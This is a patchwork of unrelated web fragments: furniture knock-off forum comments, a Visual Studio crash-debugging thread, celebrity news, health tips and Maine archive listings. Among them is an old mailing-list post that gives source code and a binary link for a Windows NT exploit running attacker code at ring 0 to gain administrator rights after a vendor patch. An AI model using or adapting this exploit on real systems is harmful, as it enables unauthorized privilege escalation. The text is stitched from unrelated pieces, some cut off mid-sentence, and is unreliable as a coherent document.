It's a legal issue, whether you like it or not. And, that issue has been decided in courts again and again. The reason the knock offs keep getting made is because it's legal. To the woman who asked the author in the group if he would want his words to be copied - there is a specific law preventing this so this is an invalid argument. And, there is a very big difference with copying a piece of furniture has patent still valid, versus one that has had its patents expire. One copy is not legal, the other copy clearly is. Courts have thrown out cases that companies like Herman Miller have brought against those who knock off, for this reason exactly. And, Knoll (I believe) was awarded "Trade Dress" rights for the Barcelona chair, but copies for this are still allowed to be manufactured by those who knock off because patents have expired. There is a case regarding Knoll vs Gordon International specifically regarding this; look it up.
I also wanted to point out the person who made the observation that the Bertoia chair purchased for $90 adjusted for inflation price vs what is actually charged was very insightful; thank you for that. The argument that somehow the designers lose money is such an uneducated argument. Not only are the current prices out of line with the original, the patents have expired a long time ago on things knocked off today and the designers are dead!
And to compare a Van Gough to an Eames Lounger is ridiculous. A Van Gough is a one of a kind item. By definition the furniture that the Eames' etc designed is not. And, the law is on the side of those who have knocked off the old designers.
To buy a knock off or the branded item is clearly a personal decision. Either one is legally valid, provided that the patents have expired on the branded item. One can empathize with those who are against it and see their point, too. The point for those in favor of knock offs is clearly obvious; they're allowed, they are affordable, F*** you.
If you're going to argue for buying branded only, please make logical arguments, if any can be made at all in favor of buying branded. The dogma of making comparisons with literature and art is so ridiculous. Actually, after literature's copyrights are expired, the literature goes into the public domain, where it can be copied by wonderful sites like http://www.gutenberg.org. See? Please make arguments that make sense; most of these are foolish and cast the pro-branded people in the worst of lights.
Well said @ ahikernamedgq.
I work in the fashion industry where knock offs run rampant. As a clothing designer/ technical designer, furniture just wasn't my thing. I had no idea who Eames was before hearing about his knockoffs EVERYWHERE a few years ago. If it's pretty, well made, within my means and is fantastic in my room I'M GOOD. I don't care who designed it. Just like in fashion-- if it's legal, it's all good. It just keeps designers on their toes. Plus lets be honest, no one is going to buy a knock off Chanel if they can truly afford the real deal. Coco Chanel herself would tell you to buy the knock off and pay your damn rent. (and she would say damn because she was spicy like that).
BTW I am SOOO over the Eames rocking chair that seems to be IN EVERY ROOM ON AT. Come on people, doesn't this just seem lazy!? I think I find it most offensive when it's the only chair in the room and one can think of at least 10 other chairs that would work better. To MrCranky this is an example of when elitism is tacky... if you just have it for the name printed under it what's the point?
We all here should be focusing our energy on appreciating the beauty of creating a cohesive, interesting and inspiring design aesthetic within a space. That's the point of this website.
Ok, I just have to share - yesterday I FOUND an Eames lounge chair in the bank parking lot next to the dumpster alongside other trash. It's probably a knock-off - I haven't been able to check yet as I found it, brought it home and left for the night. But I am so excited!! This is the extent of my budget these days so I feel very, very lucky. I haven't been able to stop thinking about how good it looks in my home - everything else in the home is recycled from flea markets, garage sales and found objects. So thank you whoever left it there - knock-off or not!
People seem to be forgetting that most of these iconic pieces were designed in order to be manufactured inexpensively and used and enjoyed by many people. That is one of the tenets of mid century design.
The fact that DWR and others are selling an Eames chair for $4000 is sadly ironic and truly ridiculous. I'd much rather buy a "knockoff" and enjoy a beautiful piece of furniture in the way it was intended to be enjoyed, than eat ramen noodles for years and years just to buy a "licensed" version -- also a reproduction, mind you -- at a ridiculous markup when the designers aren't even alive to collect their creative royalties.
If the piece is original to the period is a rare collector's item, obviously that is another story.
Does anyone know where you can find just the chair part of the eiffel base chair?
1. designers who make a product that cost $7000 are not loosing livelihood by existence of similar products that cost $700. these are two different markets/demographics.
2. the ones who are unjustly profiting the most are the "original" manufacturers. if bertoia bird+otoman+upholstery was originally $90 ($550 in today's money adjusted for inflation since the 50's) yet it presently sells for over $3500 + tax and shipping that is over $3000 or over 650% markup.
3. the "originals" are mostly not manufactured with originally specified materials, parts etc. and are modified to new production processes. therefore "originals" are also "reproductions."
4. the intention of most mid-century designers was to harness the newly developed "industrial-military complex" for the good purpose of improving life through affordable well designed objects. therefore the "reproductions" are truer to the original design intention at least in this respect. our grand parents invested in these designs by paying taxes that enabled the development of these industries and, by extension, affordable good design. the benefits of the well designed objects belongs to the people and not only to the rich, or to the "original" manufactruers and not even entirely to the designers themselves.
5. the development of the design field is not halted by the knock-offs and chinese firms who don't want to produce new designs (they will produce whatever you want for the same price + it is not their fault that USA ruined its manufacturing and can't produce anything domestically). it is more likely that it is halted by the elitist approach to design as demonstarted by the "original" manufacturers that also extends to design education (30K tuition for the design/art school) and declining value of creativity in the society as exemplified by various undercutting of government programs for the arts etc. holland or italy or france, for example, values and stimulates their designers and design is one of their main national products. USA designs nice weapons and 60% of the brightest harvard graduates end up on wall street.
i am a designer and am very often forced to produce crap regardless of the cost of its production. sadly, i have to eat ramen noodles even if i buy knockoffs.
6. knock-offs show that these designs can be offered for much less and still be good business. in case of many mid-century chairs, for example, the 600% price difference between "reproductions" and "originals" does not represent 600% increase in quality of materials and craftsmanship.
7. the only reason knock-offs are and can be produced is because the "originals" are overpriced. if they wish, "originals" manufacturers can protect the authenticity of their products by realistic pricing and thus eliminate the need for knock-offs.
For those selfish individuals who think knockoffs are ethically sound, you might like to read the following article and find out the REAL problems caused by your misplaced desires. Fakes fund crime gangs, child labour, slavery, etc, but who cares as long as you get the look. GROW UP!
Originals are Veblen goods<a>, knockoffs are not. It's that simple.
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From: Costin RAIU <craiu () gecad ro>
Subject: [NTSEC] It's not over yet.
Hi everyone,
We all know Microsoft released the getadmin hotfix.
However after a few hours of work, I was able to create a
new exploit which also works with this patch Microsoft just
The problem is now in eax=4346 which is handled somewhere in
There are more (I found 4) vulnerable functions, but not so interesting
like this one. By calling the function in a special way, you can
get your own code get executed at ring 0 privilege. My program will
simply change the byte of NtGlobalFlag to the DEBUG value, so you
can run GetAdmin (which after the fix is not working anymore).
Since compiling the source is very difficult, the compiled binary
is avaible at http://www.gecad.ro/~craiu/cr4.exe
This program was tested on 2 Windows NT patched machines, and worked
ok. (I got the Admin rights)
Here's the source of my program:
Run user code at ring 0
Author: Costin RAIU <craiu () gecad ro>
void* a[2];
void main(void) {
int i;
for (i=0;i<2;i++) a[i]=(void*)0;
*(char*)(0x4080a4)=0x80; //or bptr [NtGlobalFlag+2],c1h
mov eax,4346
mov edx,offset a
int 2eh
Due to the nature of this bug, is very important the address of
the mov eax,4346 instruction must be 004080a4. I am not an
expert in the PE structure, but my cr4.exe program will always
run at that address on my test machine. An assembler version
might be very interesting, but there are other things to do
now. (like checking eax=187) If any of you guys has better assembler
skills, I would like to see a nice asm version of my program.
OBJE: 4080a4 is somewhere in the program space, but it is not
used (debug info/data space etc...) You can probably conroll
the address of the retf (which btw. it is located at
After doing the "or" instruction, and IRETD is required to
continue the execution of the function, otherwise the kernel will
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Spring-like deer! This still might need something…But enough work for today!
All done! Now I can chill for a moment.
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I'll be selling Christmas cards & also prints of this pic at our school's Christmas fair. If you live in Lahti or somewhere near or you are just hanging out in Lahti, come stopping by at Lahti Institute of Design on next weekend! There's much to see and cool stuff to buy by talented students.
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After Gedike, the next innovator to hit on a reading scheme was Jean Joseph Jacotot, a grand genius, much misunderstood. A professor of literature at nineteen, Jacotot discovered a method of teaching nonspeakers of French the French language beginning not with primers but with Fenelons Telemachus. Jacotot read aloud slowly while students followed his reading in a dual translationto their own familiar language and to Fenelons spoken French. Then the process was repeated. After the group reading, each student individually dismantled the entire book into parts, into smaller parts, into paragraphs, into sentences, into words, and finally into letters and sounds. This followed the "natural" pattern of scientists it was thought, beginning with wholes, and reducing them to smaller and smaller elements.
Jacotot has a reputation as a whole-word guru, but any resemblance to contemporary whole- word reading in Jacotot is illusion. His method shifts the burden for analysis largely from the shoulders of the teacher to the student. The trappings of holistic noncompetitiveness are noticeably absent. Penalty for failure in his class was denial of advancement. Everyone succeeded in Jacotots system, but then, his students were highly motivated, self-selected volunteers, all of college age.
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We recently blogged about a crashing bug in the Visual Studio 2010 Release Candidate (RC) on machines using UI Automation (UIA). We've since discovered that there are actually two bugs, both of which will only affect a certain group of users but will cause the IDE to be very unstable for those users. Both of these issues now have patches available for the RC and have already been fixed for VS 2010 RTM.
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I am having a problem with 2010 Express where the IDE crashes and appears to relate to intellisense. If I type "Inpu" and select "InputBox" from the options offered and press the "open bracket" the IDE returns "Microsoft VB 2010 has encountered a problem and needs to close" then sometimes it just closes and other it returns another message "Microsoft VB 2010 Express has stopped working" If I cut and paste the InputBox command there are no problems, its only when I hit the "Open Bracket". What makes this even weirder is I have been using this install of IDE for months without a problem. I work on two machines, a laptop at home and a desktop at work and pass the developing application to each via Dropbox.com. Any clues??
Could you attach an instance of VS to VS before making it crash, enable mixed mode debugging, turn off 'Just My Code' and point it at the public Microsoft symbol servers? If you then repro the crash it should break into the debugging VS instance with information and you can grab a callstack. You can send it to me at rmolden AT microsoft.com and I can take a look to see if anything obvious jumps out at me.
Have you installed any new extensions lately?
Hello ryan,
Thank you for the response, I'm afraid my knowledge is not up to this level. How do I attach an instance of of VS to VS? I can turn off "Enable Just My Code" in options (currently turned off)and have also ticked Microsoft Symbol Servers.
I haven't installed any new extensions lately.
You should be able to launch two instances of VS. Open a project in one so it is easy to identify in the latter steps. In the other VS instance go to Tools->Attach To Process (I believe this is available in the Express SKUs, if not we would have to use WinDBG, which is...a little less user friendly :)). Select devenv.exe from the list of listed processes (make sure it is the one whose Title field is showing the project you opened in the other VS instance), also make sure that the Attach To combo above the list of processes is set to "Managed (v4.0) code, Native code". That should then attach to the other instance of VS, if you switch over to it now and reproduce the crash it should then break into the instance that is debugging and present you with the exception information and a callstack.
Wouldn't you know there is no "Attach To Process" on the Tools Menu. Should I download WinDBG?
Sure, definetly less user friendly, but here are the steps you should follow
1: Launch VS as before and load a project.
2: Launch WinDBG.
3: In WinDBG choose File->Attach to a process...
4: Find Devenv.exe in the list shown in the dialog that comes up.
5: Choose Ok (it will say something like 'save information for workspace', you can say no to that)
6: Once it has attached go to File->Symbol File Path and enter this into the pop-up dialog (without the quotes) "SRV*msdl.microsoft.com/.../symbols"
7: Click OK
8: Go back to VS.
9: Make it crash.
10: Go back to Windbg.
11: Type ".loadby sos clr" into the typing area at the bottom of the screen and hit enter (again without the quotes).
12: type "~0s" into the typing area and hit enter (again, no quotes)
13: type "k" into the typing area (again, no quotes) and hit enter.
That should give you a callstack dumped to the window above where you have been typing, hopefully it will have nice resolved symbols and such (due to step 6), if you could post that here or send it to my mail I can see if anything obvious is wrong or if there is a known bug you are seeing.
And the string in step 6 which the blog software turned into a hyperlink should be SRV* followed by HTTP:// followed by msdl.microsoft.com/download/symbols. Hopefully my spacing above is enough to prevent the blog software from once again turning it into a hyperlink :)
Thanks Ryan,
It looks like a big download (300MB) so will try as you say and let you know what happens.
Thanks Again
Are you getting it from here: www.microsoft.com/.../confirmation.aspx
I think you can unselect everything except the 'debugging tools', you just need WinDBG...not sure if there is an easier way to get it but you don't need all the SDK stuff that they seem to be bundling it with.
That page I linked has these instructions for 'slimming down' the download (You probably want the 'Debugging Tools' under Common Utilities, the x86 version), make sure to uncheck everything else like they say to avoid downloading stuff you don't need:
The Debugging Tools are listed in two places on the Installation Options screen in the Windows SDK Setup Wizard:
Select the Debugging Tools option under the Common Utilities if you want the x86 version of the Debugging Tools and you are installing on an x86 computer. This option automatically detects the CPU architecture of the computer on which you are installing the tools and it is the fastest method of installing the tools.
Select the Debugging Tools option under the Redistributable Packages to download all three versions of the Debugging Tools (x86, x64, Itanium).
After you select the appropriate Debugging Tools option as described above, clear the check boxes for the other options so that you do not install unnecessary items. The Common Utilities option downloads the Debugging Tools into a Debugging Tools for Windows folder under your Program Files folder. The Redistributable Packages option downloads the Debugging Tools to C:\Program Files\Microsoft SDKs\Windows\v7.1\Redist\Debugging Tools for Windows.
Have downloaded WinDBG and launched it, however there is no Process named Devenv.exe
Hmmm, what is the name of the VB Express executable? If you look at the shortcut link what is it pointing at? That is the name of the executable we are looking for. It might be something like VBExpress.exe or something.
Attached to process: vbExpress.exe and the following was displayed in the window:
0:043> ~0s
eax=00694248 ebx=0029f118 ecx=00694248 edx=00912f88 esi=00000001 edi=00000000
eip=77a96344 esp=0029f0c8 ebp=0029f164 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
77a96344 c3 ret
0:000> k
ChildEBP RetAddr
0029f0c4 77a95cac ntdll!KiFastSystemCallRet
0029f0c8 75c76872 ntdll!ZwWaitForMultipleObjects+0xc
0029f164 76bcf14a KERNELBASE!WaitForMultipleObjectsEx+0x100
0029f1ac 76c790be kernel32!WaitForMultipleObjectsExImplementation+0xe0
0029f200 65e0dc17 USER32!RealMsgWaitForMultipleObjectsEx+0x13c
0029f250 65e130cb msenv!CMsoCMHandler::EnvironmentMsgLoop+0x139
0029f290 65e12ffc msenv!CMsoCMHandler::FPushMessageLoop+0x156
0029f2b4 65e12f5d msenv!SCM::FPushMessageLoop+0xab
0029f2d0 65e12f2a msenv!SCM_MsoCompMgr::FPushMessageLoop+0x2a
0029f2f0 65e12e6c msenv!CMsoComponent::PushMsgLoop+0x28
0029f388 65d2db92 msenv!VStudioMainLogged+0x553
0029f3b4 00fe8fd0 msenv!VStudioMain+0xbc
0029f3ec 00fe3277 vbexpress!util_CallVsMain+0xfd
0029f6d8 00fe46cc vbexpress!CVBExpressId::Run+0x8d9
0029f708 00ffd01d vbexpress!WinMain+0x9c
0029f79c 76bd1194 vbexpress!operator new[]+0x1e1
0029f7a8 77aab429 kernel32!BaseThreadInitThunk+0xe
0029f7e8 77aab3fc ntdll!__RtlUserThreadStart+0x70
0029f800 00000000 ntdll!_RtlUserThreadStart+0x1b
Does this mean anything to you??
That is just the process waiting for messages, if you hit F5 in Windbg and then switch back to VB Express and make it crash then go back to WinDBG and do the ~0s, k it would probably be more interesting. Or kp (to also show function arguments).
Did as you said
(9fc.1238): C++ EH exception - code e06d7363 (first chance)
(9fc.1238): CLR exception - code e0434352 (first chance)
(9fc.1238): CLR exception - code e0434352 (!!! second chance !!!)
eax=0029c3ec ebx=00000005 ecx=00000005 edx=00000000 esi=0029c498 edi=00402258
eip=75c79617 esp=0029c3ec ebp=0029c43c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
75c79617 c9 leave
0:000> ~0
. 0 Id: 9fc.1238 Suspend: 1 Teb: 7ffdf000 Unfrozen
Start: vbexpress!WinMainCRTStartup (00ffd16a)
Priority: 0 Priority class: 32 Affinity: f
0:000> kp
0029c43c 656dac08 KERNELBASE!RaiseException+0x58
0029c4cc 6574ab0b clr!RaiseTheExceptionInternalOnly+0x276
0029c508 65908e1e clr!UnwindAndContinueRethrowHelperAfterCatch+0x60
*** WARNING: Unable to verify checksum for C:\windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\7a1eeb425f9318f432afead4b2da965a\PresentationCore.ni.dll
0029c5a4 624db3bd clr!JIT_RngChkFail+0xde
0029c5ec 61d9ba06 PresentationCore_ni+0x8fb3bd
0029c668 61d9b5ae PresentationCore_ni+0x1bba06
0029c6e8 61d9b26f PresentationCore_ni+0x1bb5ae
0029c738 61d9a30b PresentationCore_ni+0x1bb26f
0029c7c0 61d99c71 PresentationCore_ni+0x1ba30b
0029c7ec 61d99bd2 PresentationCore_ni+0x1b9c71
*** WARNING: Unable to verify checksum for C:\windows\assembly\NativeImages_v4.0.30319_32\PresentationFramewo#\8357ade60159c25ee88db0aab8686e6d\PresentationFramework.ni.dll
0029c81c 60deb750 PresentationCore_ni+0x1b9bd2
0029c994 60dc475a PresentationFramework_ni+0x2eb750
0029cba0 61d873c3 PresentationFramework_ni+0x2c475a
0029cc24 60dfa8d2 PresentationCore_ni+0x1a73c3
0029cc78 60df9dc5 PresentationFramework_ni+0x2fa8d2
0029cd10 60df90eb PresentationFramework_ni+0x2f9dc5
0029cdd8 60dc475a PresentationFramework_ni+0x2f90eb
0029cfe4 61d873c3 PresentationFramework_ni+0x2c475a
0029d068 60dfa8d2 PresentationCore_ni+0x1a73c3
0029d0bc 60df9dc5 PresentationFramework_ni+0x2fa8d2
0029d154 60df90eb PresentationFramework_ni+0x2f9dc5
0029d21c 60dc475a PresentationFramework_ni+0x2f90eb
0029d428 61d873c3 PresentationFramework_ni+0x2c475a
0029d4ac 60dfac5b PresentationCore_ni+0x1a73c3
0029d4e4 60dfdc20 PresentationFramework_ni+0x2fac5b
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0029de8c 60dc475a PresentationFramework_ni+0x2f8dbc
0029e098 61d873c3 PresentationFramework_ni+0x2c475a
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0029e904 5d10e47c Microsoft_VisualStudio_Platform_VSEditor_ni+0x15e518
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0029e920 6271fac2 Microsoft_VisualStudio_Platform_VSEditor_ni+0x15e47c
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You Who Came From The Stars actor Kim Soo Hyun was greeted by some 300 reporters and over 1,000 fans at the airport when he arrived in Taiwan for his fan meet last weekend. The restaurant where he dined at on Friday was also swarmed by members of the public who wanted to catch a glimpse of "Do Min Joon" (his role in the drama).
Unlike Do Min Joon who is a man of few words, Soo Hyun displayed his real-life bubbly personality at the press conference in Taiwan on Friday. The affable actor not only greeted the media in Taiwanese dialect, he also tickled the crowd with a mispronounciation of "beef noodles" in Chinese.
As it was his first overseas event, the 26-year-old was so nervous that he suffered insomnia the night before. However, he showed no signs of lethargy as he burst out laughing each time the host Mickey Huang called him "Do Min Joon". Soo Hyun was spotted giggling so hard that he almost teared and had to tell himself to calm down.
While sharing his filming experience, Soo Hyun, who is left-handed, revealed that he had to use the chopsticks with his right hand in the drama, upon the director's request. "It's so difficult to eat with my right hand! There were times when I just wanted to dig in with my left hand!" he exclaimed.
Soo Hyun shed tears during his fan meet in Seoul two weeks ago, causing many to believe that the actor has been under "too much stress" following the success of You Who Came From The Stars, which also stars actress Jun Ji-hyun. At the press conference in Taiwan, Soo Hyun clarified that he cried because he was moved by everyone's support. "I am actually a cry-baby!" he laughed.
The actor will hold his "2014 Kim Soo Hyun Asia Tour 1st Memories in Singapore" fan meet at Singapore Expo on Apr 27.
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Who says there are no quick fixes when it comes to our health? In our fast-paced world, it's good to know you can speed your way to optimal wellbeing, writes Helen Foster
Wash painkillers down with coffee. This should start to kill headache pain 17 minutes faster.
On top of that, the pain relief will last twice as long as taking the painkiller on its own, according to research carried out by Dr Frederick Freitag, director of Headache Medicine Research at Baylor University Medical Center, Dallas. "Headaches occur when blood vessels expand, and we think coffee stops pain by quickly shrinking those blood vessels," explains Freitag.
For the best results, try the coffee-painkiller combo as soon as pain starts.
Take vitamin D before you begin a diet and reach your goal sooner
The better your vitamin D levels before you start a slimming plan, the more weight you'll lose. US trials tested dieters' vitamin D levels and found for every 1ng/ml more vitamin D they had in their blood the dieters lost almost a fifth of a kilo more in the three-month trial – even though everyone on the trial was cutting the same amount of kilojoules.
In his book, The Vitamin D Cure (John Wiley & Sons), Dr James E. Dowd says "adequate vitamin D and the calcium it helps absorb may decrease the production of fat". Dowd says low calcium levels trigger the release of a hormone that causes fat cells to store more kilojoules as fat. When you add vitamin D to your diet, you absorb more calcium from food – and this reaction is decreased.
Covering a cut makes it heal 40 per cent quicker
Forget about letting wounds breathe. The best way to treat a cut is to keep it clean and covered, reveals a UK report. This stops a scab forming, which speeds up healing times. Burns should also be covered, but best results come with Manuka honey and a sterile gauze. Dr Peter Molan, Professor of Biochemistry at Waikato University, says you can speed up healing by about four days if you put Manuka honey on a burn. Molan says enzymes in the honey produce low levels of hydrogen peroxide on the skin, which stimulates new cells to grow.
For more get better faster tips pick up Good Health's January issue.
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Item 21692
Title: Ceremony, Oakdale Cemetery, Sanford
Contributed by: Sanford Historical Committee
Location: Sanford
Media: Print from Glass Negative
Item 23671
Title: Kittery-Portsmouth Bridge ceremony, 1923
Contributed by: Maine Historical Society/MaineToday Media
Date: 1923
Location: Kittery; Portsmouth
Media: Glass negative
Item 22063
Title: Ceremony, Oakdale Cemetery, ca. 1907
Contributed by: Sanford Historical Committee
Date: circa 1908
Location: Sanford
Media: Print from Glass Negative
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Shaarey Tphiloh, Portland's Orthodox Synagogue
Shaarey Tphiloh was founded in 1904 by immigrants from Eastern Europe. While accommodating to American society, the Orthodox synagogue also has retained many of its traditions.
Scientist, author and explorer Donald B. MacMillan established Wiscasset as his homeport for many of the voyages he made to the Arctic region starting in the early 1920s.
A Parade, an Airplane and Two Weddings
Two couples, a parade from downtown Caribou to the airfield, and two airplane flights were the scene in 1930 when the couples each took off in a single-engine plane to tie the knot high over Aroostook County.